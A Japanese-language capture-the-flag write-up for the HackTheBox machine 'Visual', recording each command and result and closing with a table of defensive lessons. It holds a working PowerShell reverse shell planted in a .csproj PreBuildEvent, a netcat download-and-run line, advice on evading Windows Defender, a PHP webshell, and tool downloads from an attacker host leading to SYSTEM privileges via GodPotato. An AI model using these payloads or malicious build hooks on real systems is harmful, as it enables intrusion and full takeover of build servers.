HackTheBox: Visual — 全実行コマンド・実行結果レポート
Nmap スキャン
80のみ open
→
80のみ open
Git URL 投稿フォーム発見
submit.php / gitRepoLink
→
submit.php / gitRepoLink
bare repo + dumb HTTP 配信
PreBuildEvent に PS リバースシェル
→
PreBuildEvent に PS リバースシェル
visual\enox シェル取得
user.txt ✓
→
user.txt ✓
webroot に PHP webshell 設置
nt authority\local service
→
nt authority\local service
FullPowers → GodPotato
SeImpersonatePrivilege 復元→悪用
→
SeImpersonatePrivilege 復元→悪用
nt authority\system
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 80 10.129.229.122
RESULT
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
Nmap done: 1 IP address (1 host up) scanned
ℹ️
Apache が Win64 ビルドで動作しており、X-Powered-By: PHP/8.1.17 も確認できる。
TTL=127 の ping 応答からも Windows ホストと判断できる。80番のみが開いた
スタンドアロン Windows Server (Active Directory 非参加) 構成。
PHASE 2
「Visual」ビルドサービスの調査
トップページの投稿フォームを確認
BASH
curl -s http://10.129.229.122/ -o index.html grep -n "form\|input" index.html -i
RESULT
<form action="/submit.php" method="POST">
<h2 class="h4 mb-4">Submit Your Repo</h2>
<input type="url" name="gitRepoLink" class="form-control" placeholder="Enter Git Repo URL" required>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
ℹ️
サイトは投稿された Git リポジトリ URL を
submit.php が受け取り、内部で
dotnet build (.NET 6.0 プロジェクト) を実行するサービス。フィールド名は
gitRepoLink。
【重要な発見】URL スキーム検証 — git:// は拒否される
BASH (最初の試行: git daemon / git:// プロトコル)
# ローカルで git daemon (git://) を使ってリポジトリをホストし、そのまま送信 curl -s -L --data-urlencode "gitRepoLink=git://10.10.15.200/foothold" \ http://10.129.229.122/submit.php
RESULT
<script>alert("Unsupported URL scheme"); window.location = "/index.php";</script>
🚨
サーバー側で URL スキームが検証されており、
git:// は即座に拒否される
(http/https のみ許可)。公式ウォークスルー (0xdf) は Gitea という HTTP 対応の Git サーバーを
Docker で別途構築していたが、今回はもっと軽量な方法で対応する。
解決策: bare リポジトリ + dumb HTTP プロトコル配信
NOTE
git クライアントは http(s) URL への clone 時、まず "smart HTTP" プロトコル (git-http-backend 経由、?service=git-upload-pack のクエリでネゴシエーション) を試みる。サーバーがこれに対応していない (単なる静的ファイルサーバーで CGI 無し) 場合、git クライアントは自動的に "dumb HTTP" プロトコルへ フォールバックする。dumb HTTP は単純に bare リポジトリのファイル (objects/, info/refs 等) を静的に GET するだけなので、git-http-backend や Apache の設定変更、Gitea/Docker のような重量級インフラは一切不要で、 Python 標準の http.server で bare リポジトリのディレクトリを配信するだけで git clone を成立させられる。
BASH (bare リポジトリの準備)
# 通常の作業リポジトリをコミット後、bare 形式に変換 git clone --bare ./foothold ./foothold.git cd foothold.git git update-server-info # dumb HTTP 用の info/refs を生成 # 静的ファイルサーバーで配信するだけ python3 -m http.server 8081 --directory ..
BASH (動作確認: ローカルから dumb HTTP clone)
git clone http://127.0.0.1:8081/foothold.git test_clone
RESULT
Cloning into 'test_clone'...
(正常に clone 完了、ファイル一式が取得できることを確認)
✅
dumb HTTP でのクローンが成立することを確認。
これで
http://<Kali IP>:8081/foothold.git/ を submit.php に渡せば、
URL スキーム検証 (http のみ許可) を通過しつつ、Docker/Gitea 無しでリポジトリを
ホストできる。
PHASE 3
PreBuildEvent を仕込んだ悪性 .NET6 プロジェクトの作成
サンプル .NET6 プロジェクトの取得と PreBuildEvent の追加
NOTE
.csproj の <PropertyGroup> 内に <PreBuildEvent> 要素を追加すると、 dotnet build / MSBuild がビルド開始前に任意のシェルコマンドを実行する (公式ウォークスルーで解説されている手法と同一)。.sln を含む最小構成の .NET6 プロジェクトを用意し、.csproj にこれを仕込む。
BASH
git clone --depth 1 https://github.com/hgmauri/sample-dotnet6 src cp -r src foothold cd foothold
RESULT (.csproj への追記)
<PropertyGroup>
...
<PreBuildEvent>powershell.exe -nop -w hidden -enc <Base64エンコード済みPSスクリプト></PreBuildEvent>
</PropertyGroup>
【重要な発見】nc64.exe 方式は Windows Defender に即座に検知される
NOTE
最初の試行では、PreBuildEvent に powershell -c "curl http://<Kali>:8080/nc64.exe -o C:/Windows/Tasks/nc.exe; C:/Windows/Tasks/nc.exe <Kali> <port> -e cmd.exe" を仕込んだ。ビルドは成功し、シェル接続も一度確立したが、 接続直後 (0秒) に即座に切断され、コマンドの応答が一切返らなかった。 原因: nc64.exe は netcat の Windows 移植版として広く知られた 「ハッキングツール」シグネチャであり、ディスクに書き込んで実行した 瞬間に Windows Defender のリアルタイム保護にほぼ確実に検知・kill される。 接続は一瞬確立できても、プロセスが即座に終了するため後続コマンドが 実行できない。
⚠️
対策: 外部バイナリを一切ディスクに書き込まない、純粋な PowerShell
TCP リバースシェル (revshells.com の定番テンプレート、公式ウォークスルーと同一手法)
に切り替える。スクリプトの中身がメモリ上でしか実行されず、既知の実行ファイル
シグネチャも存在しないため検知されにくい。
PYTHON (PowerShell リバースシェルスクリプト、可読形式)
$client = New-Object System.Net.Sockets.TCPClient("10.10.15.200",14444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};$client.Close()
ℹ️
受信した文字列を
iex (Invoke-Expression) でそのまま PowerShell
コマンドとして評価し、結果を書き返すループ。UTF-16LE にエンコードしてから
Base64 化し、powershell.exe -nop -w hidden -enc <base64> として
PreBuildEvent に仕込む。
bare リポジトリ化 & 配信
BASH
git init -q && git add -A && git commit -q -m init git clone --bare -q . ../foothold.git git -C ../foothold.git update-server-info python3 -m http.server 8081 --directory .. # loot/git_repos を配信
PHASE 4
RCE トリガー & user.txt 取得
リスナー起動 & リポジトリ URL の送信
BASH (ターミナル1: リスナー)
nc -lnvp 14444
BASH (ターミナル2: 送信)
curl -s -L --data-urlencode "gitRepoLink=http://10.10.15.200:8081/foothold.git/" \ http://10.129.229.122/submit.php
RESULT
ビルドリクエスト受理を確認
(/uploads/<hash>/ ページが自動更新されながら "compiling" → 完了 と遷移していく)
シェル接続確認 & user.txt 取得
RESULT (nc リスナー側、約45秒後)
listening on [any] 14444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.229.122] 49734 PS C:\xampp\htdocs\uploads\...> whoami visual\enox PS C:\xampp\htdocs\uploads\...> type C:\users\enox\Desktop\user.txt d9ca15293a423768f74a698effaa217e
user.txt — visual\enox
d9ca15293a423768f74a698effaa217e
✅
シェル取得成功! PowerShell TCP リバースシェルは cmd.exe の起動を
必要としないため、コマンドを送るとそのまま
iex で評価され結果と
次のプロンプトが返る。以降のコマンドは末尾を ; (PowerShell の
ステートメント区切り) で連結して送る。
PHASE 5
webroot 書き込み権限の悪用 & 権限調査
webroot への書き込み権限を確認
BASH (取得済みシェル内)
PS C:\xampp\htdocs> ls PS C:\xampp\htdocs> Set-Content -Path 0xdf_test.php -Value '<?php phpinfo(); ?>'
RESULT
Directory: C:\xampp\htdocs
d----- assets css js uploads
-a---- index.php submit.php vs_status.php
enox は webroot (C:\xampp\htdocs) への書き込み権限を持つ
⚠️
PowerShell の
Set-Content -Encoding ASCII を使うこと。echo > file
や既定エンコーディングでは UTF-16 (BOM付き) で書き込まれ、Apache/PHP が
正しく解釈できずファイルが実行されない (公式ウォークスルーでも同様の注意あり)。
再度 PreBuildEvent RCE を利用して webshell を設置
PYTHON (PreBuildEvent に仕込む Set-Content コマンド)
Set-Content -Path 'C:\xampp\htdocs\cmd.php' ` -Value '<?php system($_GET["cmd"]); ?>' -Encoding ASCII
BASH (別リポジトリを作成・submit)
git clone --bare -q . ../privesc_webshell.git git -C ../privesc_webshell.git update-server-info curl -s -L --data-urlencode "gitRepoLink=http://10.10.15.200:8081/privesc_webshell.git/" \ http://10.129.229.122/submit.php # 設置完了をポーリング確認 curl -s "http://10.129.229.122/cmd.php?cmd=whoami"
RESULT
nt authority\local service
✅
webshell 経由の RCE を確立。以降は対話シェルを維持する必要がなく、
curl "http://target/cmd.php?cmd=<コマンド>" で任意コマンドを実行できる
(ビルド完了を待つ必要もなく、都度即時応答が得られるため以降の作業が高速化する)。
特権の剥奪状況を確認
BASH
curl -s "http://10.129.229.122/cmd.php?cmd=whoami%20/priv"
RESULT
PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
🚨
nt authority\local service は通常 SeImpersonatePrivilege を持つはずだが、
Windows のサービス起動時の仕様でこの特権セットが剥奪されている。これを復元する
ツールが FullPowers (スケジュールタスク経由で完全な特権セットを持つ
トークンを再取得する)。
PHASE 6
FullPowers + GodPotato → root.txt
FullPowers / GodPotato をターゲットへ取得させる
BASH (Kali 側で配布用 HTTP サーバー起動)
python3 -m http.server 8080 --directory ./tools # FullPowers.exe / GodPotato-NET4.exe を配置
PYTHON (PowerShell ダウンロードコマンド、webshell経由で実行)
iwr http://10.10.15.200:8080/FullPowers.exe -OutFile C:\xampp\htdocs\FullPowers.exe; iwr http://10.10.15.200:8080/GodPotato-NET4.exe -OutFile C:\xampp\htdocs\GodPotato-NET4.exe; iwr http://10.10.15.200:8080/visual_gp.bat -OutFile C:\xampp\htdocs\visual_gp.bat
BASH (実行用バッチファイルの中身)
@echo off cd /d C:\xampp\htdocs GodPotato-NET4.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\xampp\htdocs\root_out.txt" > C:\xampp\htdocs\gpout.txt 2>&1
FullPowers -c 経由で GodPotato を実行
NOTE
FullPowers.exe を単独実行すると特権付き新規プロセスは起動するが、 呼び出し元 (webshell の cmd.exe) には特権が引き継がれない。 -c オプションで直接コマンドを指定して実行することで、完全な特権を 持ったまま指定コマンド (ここでは GodPotato を含む .bat) を実行できる。
BASH (webshell 経由で実行)
curl -s -G --data-urlencode 'cmd=FullPowers.exe -c "cmd /c C:\xampp\htdocs\visual_gp.bat"' \ http://10.129.229.122/cmd.php
root.txt を HTTP 経由で回収
BASH
curl -s http://10.129.229.122/root_out.txt
RESULT
fcad1dc0e9d17077a202d1d1e7291583
root.txt — nt authority\system (GodPotato)
fcad1dc0e9d17077a202d1d1e7291583
✅
権限昇格成功。 webshell (HTTP) 経由での root.txt 取得のため
対話シェルを一切維持する必要がなく、ビルドの都度待つ nc/PowerShell シェルより
大幅に高速かつ安定して権限昇格を完了できた。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — visual\enox
d9ca15293a423768f74a698effaa217e
root.txt — nt authority\system
fcad1dc0e9d17077a202d1d1e7291583
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| PreBuildEvent RCE | 自作「Visual」ビルドサービス (.NET6 build) | 任意コード実行 (enox 権限) | Critical | ユーザー投稿の Git リポジトリを検証なしに dotnet build する仕様を悪用し、.csproj の PreBuildEvent へ PowerShell ペイロードを仕込む |
| webroot 書き込み権限 | C:\xampp\htdocs (Apache/XAMPP) | PHP webshell 設置 → RCE (LOCAL SERVICE) | High | enox が webroot に書き込み可能なことを利用し PHP webshell (cmd.php) を設置 |
| SeImpersonate 系 Potato 攻撃 | nt authority\local service (Apache 実行コンテキスト) | SYSTEM 権限昇格 | High | FullPowers で SeImpersonatePrivilege を含む完全な特権セットを復元し、GodPotato で nt authority\system へ昇格 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 80/tcp のみ、Apache(Win64)+PHP、自作ビルドサービス「Visual」 |
| 2 | 調査 | フォーム解析 + URL スキーム検証発見 | submit.php / gitRepoLink、git:// 拒否・http のみ許可 |
| 3 | 武器化 | bare repo + dumb HTTP + PS リバースシェル | Docker/Gitea 不要の軽量な悪性リポジトリ配信 |
| 4 | RCE | PreBuildEvent 実行 | user.txt 取得 (visual\enox) |
| 5 | 横展開 | webroot 書き込み → PHP webshell | RCE as nt authority\local service (HTTP経由・高速) |
| 6 | 権限昇格 | FullPowers → GodPotato | root.txt 取得 (nt authority\system) |
独自の技術的発見 (公式ウォークスルーとの違い)
| 項目 | 公式ウォークスルー (0xdf) | 本レポートでの対応 |
|---|---|---|
| Git リポジトリのホスティング | Docker で Gitea (フル機能 Git サーバー) を構築 | bare リポジトリ + git update-server-info による dumb HTTP 配信のみ。Docker/Gitea 不要で Python 標準 http.server だけで完結する軽量な代替手段 |
| URL スキーム制限の発見 | 特に言及なし (最初から http URL を使用) | 実機検証で git:// が明示的に “Unsupported URL scheme” として拒否されることを確認し、原因を切り分けた |
| nc64.exe による初回失敗の原因分析 | – | nc64.exe -e cmd.exe 方式が接続直後に瞬時切断される現象を確認し、Windows Defender によるシグネチャ検知が原因と特定。外部バイナリ非依存の PowerShell TCP リバースシェルへの切り替えで解決 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー投稿の Git リポジトリを検証なしに dotnet build する | 信頼できないコードのビルドはサンドボックス/使い捨てコンテナ内で最小権限のユーザーとして実行する。.csproj の PreBuildEvent/PostBuildEvent のような任意コード実行ポイントを無効化する MSBuild 設定 (/p:PreBuildEvent= の禁止等) を検討する。 |
| URL スキーム検証はしているが、http 経由の SSRF 的リポジトリ取得自体は許可している | ビルドサーバーからの外部アクセス先をアウトバウンドファイアウォールで許可リスト化し、内部/未知のホストへの取得を制限する。 |
| Web ルート (C:\xampp\htdocs) にビルド実行ユーザーが書き込み可能 | Webサーバーの実行ユーザーとビルド実行ユーザーを分離し、Webルートへの書き込みは配置専用のCI/CDパイプラインのみに限定する。 |
| サービスアカウント (nt authority\local service) から SeImpersonate 系特権を悪用した Potato 攻撃で SYSTEM へ昇格可能 | IIS/Apache 等の Web サーバーサービスには可能な限り専用の低権限アカウントを割り当て、DCOM/RPC アクティベーションを悪用する Potato 系攻撃を Windows Defender ASR ルールや EDR で監視・ブロックする。 |

